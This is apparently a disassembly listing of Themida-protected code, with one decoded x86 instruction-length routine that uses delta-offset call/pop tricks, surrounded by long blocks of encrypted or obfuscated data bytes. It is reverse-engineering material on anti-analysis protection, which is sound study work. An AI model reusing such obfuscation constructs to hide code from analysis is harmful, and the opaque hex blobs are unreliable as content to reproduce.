		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0C890DEDh, 85C76006h
		dd 60C885Ah, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 0C885E85h,	606h, 24E900h
		dd 858D0000h, 60C8862h,	0B2858D50h, 50060C88h, 0E8006A56h
		dd 1Dh,	2510C483h, 0FFh, 885E8589h, 361060Ch, 0C885EB5h
		dd 5A858B06h, 5D060C88h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5945F2
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5945FE
; ---------------------------------------------------------------------------

loc_5945F2:				; CODE XREF: Themida_:005945DBj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_5945FE:				; CODE XREF: Themida_:005945EDj
		push	ebx
		push	esi
		push	edi

loc_594601:				; CODE XREF: Themida_:00594656j
					; Themida_:00594672j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_594614:				; CODE XREF: Themida_:0059463Bj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60C89C4h
		lea	ebp, [ebp+60C883Ah]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_594641
		inc	cl
		cmp	cl, 0Bh
		jb	loc_594614

loc_594641:				; CODE XREF: Themida_:00594630j
		cmp	cl, 0Bh
		jz	loc_59469E
		cmp	al, 66h
		jnz	loc_59467F
		cmp	byte ptr [ebp-5], 0
		jnz	loc_594601
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_594677
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_594601
; ---------------------------------------------------------------------------

loc_594677:				; CODE XREF: Themida_:00594664j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_59467F:				; CODE XREF: Themida_:0059464Cj
		cmp	al, 67h
		jnz	loc_594601
		cmp	byte ptr [ebp-6], 0
		jnz	loc_594601
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_594601
; ---------------------------------------------------------------------------

loc_59469E:				; CODE XREF: Themida_:00594644j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5946CA
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5946CF
; ---------------------------------------------------------------------------

loc_5946CA:				; CODE XREF: Themida_:005946A9j
		movzx	edi, al
		shr	edi, 1

loc_5946CF:				; CODE XREF: Themida_:005946C5j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60C8A7Ch
		lea	ebp, [ebp+60C873Ah]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_594851
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_594795
		dec	ecx
		jz	loc_594778
		dec	ecx
		jnz	loc_5947E8
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5947E4
		cmp	byte ptr [ebp-5], 0
		jz	loc_594757
		mov	byte ptr [ebp+0Bh], 2

loc_594757:				; CODE XREF: Themida_:0059474Dj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60C8B08h
		mov	dword ptr [ebp+60C885Ah], 1
		pop	ebp
		jmp	loc_5947E8
; ---------------------------------------------------------------------------

loc_594778:				; CODE XREF: Themida_:00594732j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5947C2
		cmp	byte ptr [ebp-5], 0
		jz	loc_5947C2
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5947C2
; ---------------------------------------------------------------------------

loc_594795:				; CODE XREF: Themida_:0059472Bj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5947DB
		cmp	byte ptr [ebp-5], 0
		jz	loc_5947CA
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5947C2
		mov	[ebp+0Bh], cl

loc_5947C2:				; CODE XREF: Themida_:0059477Cj
					; Themida_:00594786j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5947E8
; ---------------------------------------------------------------------------

loc_5947CA:				; CODE XREF: Themida_:005947A3j
		cmp	dl, 5
		jnz	loc_5947E8
		mov	[ebp+0Bh], dl
		jmp	loc_5947E8
; ---------------------------------------------------------------------------

loc_5947DB:				; CODE XREF: Themida_:00594799j
		cmp	dl, 6
		jnz	loc_5947E8

loc_5947E4:				; CODE XREF: Themida_:00594743j
		mov	byte ptr [ebp+0Bh], 3

loc_5947E8:				; CODE XREF: Themida_:00594739j
					; Themida_:00594773j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_594816
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_5947F8:				; CODE XREF: Themida_:0059480Ej
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5947F8
		mov	esi, edx

loc_594816:				; CODE XREF: Themida_:005947EBj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_59484B
		cmp	edi, 7Fh
		ja	loc_59484B
		test	bl, 38h
		jnz	loc_59484B
		cmp	byte ptr [ebp-7], 0
		jz	loc_594845
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_594848
; ---------------------------------------------------------------------------

loc_594845:				; CODE XREF: Themida_:00594836j
		push	1
		pop	eax

loc_594848:				; CODE XREF: Themida_:00594840j
		mov	[ebp-1], al

loc_59484B:				; CODE XREF: Themida_:0059481Aj
					; Themida_:00594823j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_594851:				; CODE XREF: Themida_:005946FBj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59487C
		dec	eax
		dec	eax
		jz	loc_594872
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_594884
; ---------------------------------------------------------------------------

loc_594872:				; CODE XREF: Themida_:00594861j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_594881
; ---------------------------------------------------------------------------

loc_59487C:				; CODE XREF: Themida_:00594859j
		mov	al, [ebp-3]
		add	al, 4

loc_594881:				; CODE XREF: Themida_:00594877j
		add	[ebp-1], al

loc_594884:				; CODE XREF: Themida_:0059486Dj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5948AC
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_594897:				; CODE XREF: Themida_:005948A6j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_594897

loc_5948AC:				; CODE XREF: Themida_:0059488Cj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLS		db '‹Ðè',9,0
		dd 0CE020000h, 3374D2D5h, 8164B98Dh, 6782F0E1h,	8E0F5E76h
		dd 1Fh,	19870Fh, 13E80000h, 0BD000000h,	5027B569h, 0E5A78960h
		dd 9E9DC027h, 0BA4ABC48h, 815FBF6Ch, 7156C6h, 2BDE8B00h
		dd 0FE9D2h, 642B0000h, 685121ADh, 0A41A8445h, 402D8795h
		dd 16048B91h, 850Fh, 0E8810000h, 6124542Ah, 81FBBF0Fh
		dd 2D88FFE8h, 0AE88165h, 803493DCh, 8F50C4F3h, 74BB1604h
		dd 806A19C6h, 0EA8314DDh, 0FE804h, 9D280000h, 5F2067B6h
		dd 1D1FCD2Eh, 0A89D52C2h, 10E998h, 0AD20000h, 7EFEEE58h
		dd 0DB73738h, 8CC25F64h, 8159DC1Ah, 0FF8F60FAh,	9A850FFFh
		dd 0F8FFFFFFh, 8DD98D8Dh, 6A060Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0B866CBC3h, 8D893946h
		dd 6070A01h, 1421BD8Bh,	85C70607h, 60714A5h, 5AE0h, 6E860h
		dd 6840000h, 0BBE8DE64h, 5AD5C880h, 27F5858Bh, 0C7610607h
		dd 72FD585h, 6,	8F0F5000h, 12h,	0DE9h, 73577000h, 13ACDDFFh
		dd 5EE187D9h, 0FF5F9E4Dh, 7045DB5h, 0BD896006h,	60703DDh
		dd 95FF61F8h, 6071C19h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0DAC35343h, 0E53F11C9h, 7403BB0Fh, 0C9850922h
		dd 6A06070Ch, 6995FF00h, 8B06071Bh, 0AE7DEBC0h,	5B13068Dh
		dd 0C7DEFDA2h, 80B36335h, 38DEF44Eh, 70894317h,	0BF66644Eh
		dd 813A0F7Eh, 0AC8A597Eh, 0EF6AB616h, 0BE804340h, 0CB2C0EA1h
		dd 29F951C0h, 69C59DB1h, 46807B6Dh, 1B65EA77h, 4FBEE627h
		dd 5CB78012h, 110717CCh, 4F9AD8CDh, 0B893273Eh,	0A1F0C024h
		dd 87602E08h, 7CBA3A0Eh, 79723574h, 0D1BDB1Bh, 0A84D1880h
		dd 959CFDA8h, 4F1A31CFh, 0E75B76BEh, 0F4BBC2FCh, 7528F235h
		dd 12E8h, 32F30600h, 0D9A1C3F0h, 0C908F255h, 37E57777h
		dd 0F38DBDAh, 0E80h, 840F6000h,	0
		dd 1399529h, 5A610607h,	18CD8589h, 0C2810607h, 6998h, 14818D31h
		dd 0BB0607h, 89000000h,	70DD59Dh, 1334FF06h, 5890Fh, 0AFB80000h
		dd 5E102342h, 6860Fh, 8D8B0000h, 6070DB9h, 0DEBAF681h
		dd 880F3E13h, 4, 0C8AFB966h, 0FED9F681h, 66530D67h, 5F4DE7BFh
		dd 0DCF8C681h, 0BD3113B3h, 6072959h, 8B1A3489h,	719F18Dh
		dd 4EB8306h, 0FB81EBB4h, 0FFFF9720h, 0C850Fh, 0CB8A0000h
		dd 14E9h, 83A7C700h, 0B70F38F1h, 0FF8FE9C6h, 0EC53FFFFh
		dd 27B00790h, 2DEBE5h, 0D0000000h, 9CBFAE0Dh, 0F9DFF231h
		dd 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h,	9D8993h
		dd 67268168h, 3B2BD14h,	355FF5D2h, 0AB4E9h, 90516800h
		dd 2AE9060Ch, 68FFFAEDh, 60C9177h, 0FAED20E9h, 925468FFh
		dd 16E9060Ch, 68FFFAEDh, 60C930Ah, 0FAED0CE9h, 93E368FFh
		dd 2E9060Ch, 68FFFAEDh,	60C94C9h, 0FAECF8E9h, 958768FFh
		dd 0EEE9060Ch, 68FFFAECh, 60C9782h, 0FAECE4E9h,	985E68FFh
		dd 0DAE9060Ch, 85FFFAECh, 8AE834D8h, 90EE3AC8h,	93F13DC7h
		dd 9BF945E7h, 1A0450D4h, 6BF9C0F9h, 73F9C11Fh, 7D03C927h
		dd 8410D331h, 7B4AC538h, 0F000E8B8h, 4AE2C6A5h,	0AA79F474h
		dd 0FC18F744h, 84E25DADh, 89E733C1h, 98873AC6h,	69C74226h
		dd 0ED681EA2h, 1478FD1Eh, 5BD626FAh, 33AE3AFDh,	0CB810FD5h
		dd 0A75E217Fh, 0C6765D8h, 5AAAFAF6h, 6206B8A7h,	22F16CE7h
		dd 0F60C6713h, 42F23363h, 0C8A260DCh, 0EDF3C278h, 3AFC13C8h
		dd 0F87C1D77h, 0E87FFC98h, 515F2200h, 0F541728h, 6AA44084h
		dd 8BB71666h, 7BAED2E2h, 8F072C8h, 7F2C0000h, 713391DDh
		dd 703997E3h, 9642A0ECh, 874EACF8h, 0A2C3ADF9h,	0D21EA269h
		dd 0D622AC74h, 0D824B278h, 0DD29B77Ah, 1D20EF6Ah, 42F000F7h
		dd 60BE7F63h, 0FC5A109Eh, 9AF8AB39h, 0EFD49D7h,	6E3DB8B0h
		dd 0FC136A32h, 0B1803383h, 0F00B658Eh, 0C68FED68h, 853B8B3Eh
		dd 793B48E2h, 0B999CA2Ch, 4Eh, 0E6744AD5h, 0CD48981Eh
		dd 13759EFEh, 0FCAFFFFCh, 0B6A022Dh, 0B69E4F0h,	35A74C45h
		dd 0A9E321D8h, 2600A359h, 0C15D207Eh, 702373F9h, 0BA1726F5h
		dd 0F848F00Bh, 0DF5E2DA8h, 80F00BBAh, 18DA7A30h, 5899CB0Ch
		dd 0B8h, 2FBD7FDDh, 18DB9579h, 0B47BD98Ch, 5C1F7D30h, 0FCBF1DD0h
		dd 0EF552470h, 9FF60C6Bh, 64E65524h, 1977F60Ch,	0C47ACA56h
		dd 0C915A366h, 691CA86Bh, 0A924447Ah, 139B82DAh, 209BEBFCh
		dd 0D85B2AA5h, 85F00B54h, 54D76635h, 3888F00Bh,	544FEEBDh
		dd 0C010F00Bh, 0EFCFBE0Ah, 682FFE79h, 0BDFA1121h, 0CD94F26Dh
		dd 1849F7D4h, 8EDE8C2Ch, 971DE442h, 0CC111438h,	0E93FF2B4h
		dd 7CAh, 0BB07A552h, 0C10D9B5Dh, 0C6129A63h, 0C612BC68h
		dd 0C713A168h, 0B47BBCDDh, 0BE86E430h, 0C88EEC38h, 0CD90EE3Ah
		dd 580F33Fh, 0F60736h, 957958F0h, 449014DBh, 0C58723E6h
		dd 0B79BE737h, 79F4744Ah, 13752AAAh, 702373FCh,	0B6A9EA1h
		dd 9DB558F0h, 0CA3C4C0Eh, 0CB8C99h, 0DBA80000h,	0A3926118h
		dd 0BCF60C67h, 0B691C6Ch, 8245C044h, 65D7BB94h,	0BA6D23E7h
		dd 0CBA41EBh, 0D9672AF6h, 0E06C2F8Dh, 8D54B22Dh, 5C625107h
		dd 5316910Ch, 0D8D663B7h, 0E9B86ED6h, 0FC138993h, 0E560ACFCh
		dd 46989B6Ah, 75C5F00Bh, 7AEED0BFh, 86B584FFh, 53F00B46h
		dd 0DD2D078Dh, 29DDAC27h, 92FA112Eh, 0EE4CC742h, 9DEDA026h
		dd 3EC289E7h, 16A265C3h, 0EFB61460h, 0AD540261h, 47FAB4CBh
		dd 6EDF1h, 0DA822F00h, 0E06E308Eh, 0E76D3694h, 0EB913D9Bh
		dd 0F67A419Fh, 5E9FC0AAh, 5FBD0997h, 63C10D97h,	6DCB179Dh
		dd 5FD21EAAh, 0F52615E4h, 5837F000h, 9D60BE74h,	560C5C0Fh
		dd 0A97831F8h, 0F60C678Ah, 0E73383D3h, 0EE3AC689h, 8C18DB0Ah
		dd 37005ED9h, 4CAAFAADh, 0EC4A0086h, 804F9B29h,	0F60C67B1h
		dd 0C03B2D91h, 18F793F1h, 219CECFCh, 0D95C2BA6h, 2F000E8h
		dd 89D9B339h, 0FBB275D3h, 0E8092Ch, 57E6B5F0h, 8F000E8h
		dd 308EDEB8h, 438FDF6Dh, 0E39622E5h
		db 68h,	0Ah
word_594F42	dw 0BB41h		; DATA XREF: ___:off_438100o
		dd 1302B808h, 5903AFABh, 8B0656A6h, 1F0F18BCh, 0D63585FAh
		dd 0B4CE9C8Ah, 37378D40h, 0E5000006h, 0EA489438h, 0F04E9A28h
		dd 0F3519D27h, 0FB59A547h, 7A64B034h, 0CB592059h, 0D359217Fh
		dd 0DD632987h, 0E4703391h, 0DBAA2598h, 0F000F458h, 0DB422605h
		dd 7BD98C18h, 0B7792CB8h, 0ECAF3A14h, 4E018F52h, 0C262AEFEh
		dd 93C32F00h, 740h, 0ABE35C00h,	0FF000001h, 0BC5DFBBEh
		dd 0D324FC30h, 0CF53104h, 8EDE2EF6h, 0F52609D8h, 0A41AF60Ch
		dd 0FFCE49C4h, 0F60CF53Ch, 0A01BD121h, 7804C725h, 0F0BF75C5h
		dd 0FC186597h, 0B631ACFCh, 0A9A3783Bh, 77D213F4h, 8B95A8h
		dd 373EE1F0h, 0CB4E3551h, 8DEBA1F1h, 94F23ECAh,	6AC843D1h
		dd 1124F3A4h, 4EF00025h, 0ABFBAEFEh, 6B5342F5h,	0E1B382FDh
		dd 3EFA1FC2h, 92611AE0h, 0F6073DA3h, 0CC1C6CBCh, 0CED9FD6Dh
		dd 90E699B4h, 55Eh, 1F6B11BEh, 2571FFC1h, 2A76FEC7h, 327E20CCh
		dd 3B870DD4h, 30F73051h, 32FA58A4h, 3C0260ACh, 490C6AB6h
		dd 81FC6FBBh, 0F483B2h,	19FDDCF0h, 0D98C18DBh, 0E2949B5Eh
		dd 8F0A80E3h, 64ED229Ah, 1CD222F7h, 0BA6DFBBEh,	0F0FD55F8h
		dd 0B3539F2Dh, 93C3B3F1h, 731h,	0C7E34D00h, 0FF000000h
		dd 79F4744Ah, 18F744AAh, 0E25DADFCh, 0DA9A467h,	758322E6h
		dd 4A902E85h, 5D20702Dh, 847E8A73h, 2E8C42FBh, 3391DD6Bh
		dd 4231E470h, 0B847797Ch, 1D40D91Ah, 0BD70FCBFh, 27A21D6Dh
		dd 0A46B07C9h, 0CD1D6D20h, 4514CA1Ah, 0FA148914h, 64C23D8Dh
		dd 0D59813A1h, 0D99D507Ah, 1D691F78h, 0BD70FCBFh, 981EE442h
		dd 4B1A95E5h, 0F60C40E8h, 806F2575h, 0E0AF2A3Eh, 0FC13B0F0h
		dd 0FE76D525h, 0CAED32Bh, 4780359h, 0F7A40000h,	0E9AB0955h
		dd 0E8B10F5Bh, 0EBA1864h, 0FFC62470h, 1A3B2571h, 4A961AE1h
		dd 4E9A24ECh, 509C2AF0h, 55A12FF2h, 0A59867E2h,	0BAF000F3h
		dd 4AE3F7DBh, 68000001h, 671F1EEDh, 0F040F60Ch,	0FBBE563Ah
		dd 0EA561E07h, 0FBEAA021h, 672AA5C3h, 589ACD5Bh, 6DE89E3Fh
		dd 188A509Eh, 0EE69B9FCh, 0F33FCD90h, 7638D295h, 95E535E8h
		dd 9DCBF3E2h, 0CE2CA722h, 8DB07F05h, 0D2F00095h, 0EC9BBF82h
		dd 3377CFEAh, 0D66DAE7Dh, 66B6FA14h, 4F1270EBh,	0EAAD0BC1h
		dd 0A1FF8D50h, 4F9F52DEh, 9255B3FFh, 7AD85306h,	2A7A2DB3h
		dd 2F398574h, 39FBE5B4h, 0DC2CFC13h, 0D2B3017Dh, 0C6215AEh
		dd 3BAh, 0CB17B562h, 0D11DAB6Dh, 0D622AA73h, 0D622CC78h
		dd 0D723B178h, 0C48BCCEDh, 0CE96F440h, 0D89EFC48h, 0DDA0FE4Ah
		dd 1590034Fh, 0F2F746h,	0A58968F0h, 118C18DBh, 0EDB99A4Eh
		dd 540A426Ch, 0F48043A1h, 42DC7F41h, 0AD28B477h, 41EE4EEAh
		dd 651B2965h, 7EB77919h, 0A1FF93C3h, 54A457F5h,	5F1B9Eh
		dd 25A00000h, 0C275FFC7h, 3B90A372h, 7DCDF60Ch,	43BEE3C7h
		dd 0C67C174h, 984E9EF6h, 0D85315A9h, 0AB39FF5Dh, 0B3AD26F5h
		dd 0B606FC13h, 9014DD3Bh, 2CCB7544h, 5518F00Bh,	26EE4CC7h
		dd 239EEAA0h, 0C37602C5h, 965FBD73h, 0AAD0930Eh, 0CEDBDD8Bh
		dd 0EC4F1E99h, 71F00B8Ah, 62B86B21h, 2FAh, 8F15DB7Eh, 2DBB7EDCh
		dd 34C083E1h, 0BC8B0681h, 0F60C6779h, 82E096E6h, 0F6E531BFh
		dd 45CB92C8h, 75AB7AF5h, 0C2FC136Ah, 0E644BF72h, 13E2981Eh
		dd 0F00B652Ch, 2EF14FCAh, 8E41CB94h, 9538EE3Eh,	2D2CEEBDh
		dd 167499CAh, 0A164C250h, 52DA5D13h, 5F000000h,	0B33901h
		dd 555DBA2h, 744A6B4Fh,	9B6A23E6h, 0F60C6798h, 722575C5h
		dd 65D8A722h, 0FAF60C67h, 64DF5AAAh, 0F8A44006h, 353A356h
		dd 7B4A0050h, 0FC137519h, 0B4833686h, 0F00B6A8Dh, 216EC86Bh
		dd 99CA3C5Fh, 0DE9Fh, 1AC62400h, 0BB71C174h, 8C18DBD7h
		dd 30B47BD9h, 0D05C1F7Dh, 0A834F755h, 1EE13FF2h, 67A59867h
		dd 6ABAF60Ch, 35FFCE1Ah, 16F60C6Bh, 68CB9A53h, 0CF60C64h
		dd 32758722h, 0A0FED8FAh, 4C9C4FDDh, 0D331ACFCh, 2FC18410h
		dd 0AA61821Ah, 45A3EFA5h, 5443F682h, 3104D36Ah,	2EF60CA7h
		dd 44138EDEh, 0FC134B94h, 0EA65B101h, 0E0D79527h, 15730EF7h
		dd 2110C652h, 0D550CB9Dh, 5517AF77h, 74C477C7h,	0BEB3EFBEh
		dd 0C818FA11h, 8E28EF4Dh, 0A2EE3ECCh, 98F77D44h, 0B4CC2DF0h
		dd 0BF0D6316h, 5D000001h, 62C00CB0h, 68C612A0h,	6BC9159Fh
		dd 73D11DBFh, 0F2DC28ACh, 43D198D1h, 4BD199F7h,	55DBA1FFh
		dd 5CE8AB09h, 53229D10h, 0F000F0E0h, 0DBBA9E7Dh, 685B1D14h
		dd 0C5714126h, 8CB2975h, 4A4C307Ch, 0AA79F474h,	0FC13752Ah
		dd 0A1702373h, 0F00B6A9Eh, 40F38143h, 0E59836E2h, 6A989B6Ah
		dd 75C5F00Bh, 0E7E43EE1h, 5423FB9Eh, 99CA3B92h,	0ADD2h
		dd 18DBEE00h, 0B47BD98Ch, 86AE7D30h, 63F60C6Bh,	6AC814A0h
		dd 1C1FEEA7h, 41F60C64h, 6444F7C6h, 0C919F60Ch,	87762979h
		dd 0E7B63137h, 0FC138831h, 0D89B1666h, 4C3143E6h, 0B0FCB2DEh
		dd 0F06BFDC1h, 11974E21h, 6D3CB7FAh, 0F60258CEh, 0F5C43F8Fh
		dd 0F6025846h, 0FC77C717h, 0FD49D79Eh, 0ED4CD89Fh, 0B4CBF4A5h
		dd 0E358AE61h, 39000000h, 46A4F08Ch, 4CAAF684h,	4FADF983h
		dd 4FADF9A3h, 0C6B0FC88h, 179D64A5h, 1FA56DCBh,	21AF75D3h
		dd 28B477D5h, 1FEE69DCh, 0F000FF1Ch, 0DB7E6241h, 31BF8214h
		dd 0BC1A95E1h, 6CBC6FF5h, 79558B6h, 18DBD7BBh, 67A39261h
		dd 0ECD3F60Ch, 36322B46h, 5EAEFED8h, 8B8A4DABh,	7B272958h
		dd 0D11D6D4Ch, 118CDCE2h, 18933442h, 0E25DADFCh, 8CA59867h
		dd 6ABAF000h, 0E0A301B4h, 2F8D0854h, 0CF2DE06Ch, 752B7B09h
		dd 4DC85417h, 6941168Ah, 35A3B27h, 86C4878Bh, 0E0662E5Fh
		dd 5827DA90h, 2F53CA82h, 717CD679h, 0C45214AEh,	7CA2874h
		dd 5D20A46Bh, 0C9D497C1h, 7629792Eh, 0FC26C18h,	0B366EAB1h
		dd 9E948D55h, 5620F190h, 6E396E6h, 780CCB63h, 0AD707DD5h
		dd 0B275D31Fh, 31D7326h, 39000000h, 2EDB694Dh, 0BA7DDB8Eh
		dd 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h,	0E995F3A6h
		dd 69329043h, 10D230E3h, 837ECF82h, 48904ECh, 5E08924h
		dd 4, 8704E883h, 505C2404h, 405E089h, 83000000h, 48704E8h
		dd 34895C24h, 0E0895024h, 405h,	4E88300h, 5C240487h, 81241489h
		dd 4ECh, 243C8900h, 0DA683A68h,	0C7815F49h, 4D9B7C05h
		dd 8103E7C1h, 6A3926F7h, 0CCC78135h, 89774776h,	8B545FFEh
		dd 0C4832414h, 4815604h, 404A8224h, 8428F06h, 74E1BD55h
		dd 0C5817205h, 943AD5A1h, 5D086A29h, 5A2434FFh,	0FF04C483h
		dd 835E2434h, 8AE904C4h, 18FFFAE2h, 143080B5h, 9C6AD33h
		dd 9966B843h, 0C503060Ch, 65D5E0FFh, 77EF57A6h,	63C5701Eh
		dd 0CBA3162Dh, 9AD81751h, 0E12053BFh, 0FF665F56h, 8A315F0h
		dd 317358E8h, 59EB256Fh, 908A4D03h, 21B60473h, 0AD364377h
		dd 0A0BB2C1Bh, 52D82B3Eh, 9C819D3h, 0E8794B07h,	0F5F10163h
		dd 0BAD6010Dh, 0A45F12BBh, 0B244490Ah, 0D85D3DACh, 32021CB1h
		dd 22DD3DA1h, 1B1221Fh,	0C5694298h, 8EB5132h, 30F22D08h
		dd 77E7339Ch, 0D6CE9h, 9C126800h, 0F6E9060Ch, 68FFFAE1h
		dd 60C9D26h, 0FAE1ECE9h, 9ED768FFh, 0E2E9060Ch,	68FFFAE1h
		dd 60C9FE1h, 0FAE1D8E9h, 0A13368FFh, 0CEE9060Ch, 68FFFAE1h
		dd 60CA3BFh, 0FAE1C4E9h, 0A53168FFh, 0BAE9060Ch, 68FFFAE1h
		dd 60CA625h, 0FAE1B0E9h, 5A02AFFFh, 60EEB00Eh, 67EDB614h
		dd 6B11BD1Bh, 76FAC11Fh, 0DE1F402Ah
		dd 0DF3D8917h, 0E3418D17h, 0ED4B971Dh, 0DF529E2Ah, 0FDA69564h
		dd 0D8B7F000h, 0E0FBBEF4h, 0C617AFD3h, 1ADD3BF1h, 0F2B5138Eh
		dd 9FFDB066h, 890450DCh, 0FE82B5C6h, 893F897Bh,	0C944249Ah
		dd 641AA26Bh, 0DDE61AE9h, 50AEFC13h, 6F49FF8Dh,	577728ACh
		dd 381F0BF8h, 0B2EFB201h, 5508585Bh, 0B02BB86h,	809A3DF0h
		dd 0CA9031F3h, 357199h,	4A8D0000h, 0C8D08174h, 711F6FA3h
		dd 0C5D7A621h, 5AFC1324h, 0B988570Ah, 3FF00B3Bh, 0BC1A829Ch
		dd 68B86BF9h, 8B5012B2h, 3A9899CAh, 0EA3AED73h,	0D8B134h
		dd 0DBCD0000h, 0B3118C18h, 7C07F1F0h, 74694E0Ah, 5DBB6E24h
		dd 318F0A96h, 0E232E56Bh, 3F42381Fh, 792FC769h,	17A568C6h
		dd 0B5430664h, 0CD90EE69h, 9735E13Fh, 9A1E12E1h, 20E3F60Ch
		dd 27EA4894h, 0C7F7E699h, 3D5726A1h, 92FC136Ah,	0B707F642h
		dd 252DAA3h, 0D0E1B887h, 0E636FA11h, 1221F06Bh,	4BF6020Fh
		dd 50D49DFBh, 1C974D9Dh, 1D69F7BEh, 7241F8BFh, 0F6020FC3h
		dd 9DFC4C9Ch, 0B4CBD6D9h, 21247A2Dh, 0ED00000Bh, 0F2509C40h
		dd 0F856A230h, 0FB59A52Fh, 361AD4Fh, 826CB83Ch,	0D3612861h
		dd 0DB612987h, 0E56B318Fh, 0EC783B99h, 0E3B22DA0h, 0F000FB50h
		dd 0BE4A2E0Dh, 28633FBh, 0B1677CA3h, 0F7958C53h, 4B229AD9h
		dd 0EE4C98E8h, 0A7229D2Bh, 0C0665D8h, 0F4AAFAF6h, 744AC4A8h
		dd 0FDB679F4h, 0D3D196A0h, 93474F82h, 6B2CCFD0h, 696B3AB5h
		dd 0B6FC13F6h, 4BE54CF3h, 7579DB1h, 0B47BD954h,	84AB7A30h
		dd 62F00BBDh, 0DF3D67BFh, 0A1946316h, 0BEF00BBDh, 0C8681E6Eh
		dd 99CB0906h, 0C446h, 18DB6200h, 5ED98Ch, 97F5AB39h, 0D77336D0h
		dd 0E7378715h, 6CEB6534h, 15D8F60Ch, 7B490C87h,	0D7FACECFh
		dd 60BE0AC0h, 6D5C0F9Dh, 0CD9C1751h, 0FC139EB7h, 0CE521977h
		dd 3B15CB1Bh, 0C6249FEBh, 0D3C278FEh, 33027DEBh, 0FA113977h
		dd 0A3017CCCh, 7FDD58DCh, 28782BB9h, 30AB2672h,	2F6D261h
		dd 181BEAF6h, 45F602F6h, 15CB1BF5h, 564F0B7h, 0B4CBAD7Bh
		dd 0D86DC8Fh, 100000Ah,	0E6CB854h, 1472BE4Ch, 1775C14Bh
		dd 1775C16Bh, 8E78C450h, 0DF652C6Dh, 0E76D3593h, 0E9773D9Bh
		dd 0F07C3F9Dh, 0E7B631A4h, 0F000FA54h, 0BE462A09h, 580B9960h
		dd 2DF45208h, 3AFD5BA7h, 0E9B833AEh, 0F60C674Ah, 0C10DC313h
		dd 8C18DBDDh, 3E005ED9h, 0D99CFAB0h, 67E25120h,	2B7BF60Ch
		dd 6AE560DBh, 0C67989Bh, 0A675C5F6h, 0F60C6797h, 67E55827h
		dd 2A7AF60Ch, 0FE4A0050h, 0E3ABAF0Fh, 67DC5F2Eh, 3181F60Ch
		dd 0DD02EE1h, 2C7CCC7Fh, 0FE9261DCh, 47FC139Ah,	0CB7544F7h
		dd 2DF00B55h, 21E3B08Ah, 6199CA5Dh, 64Dh, 9960BE7Dh, 5208580Bh
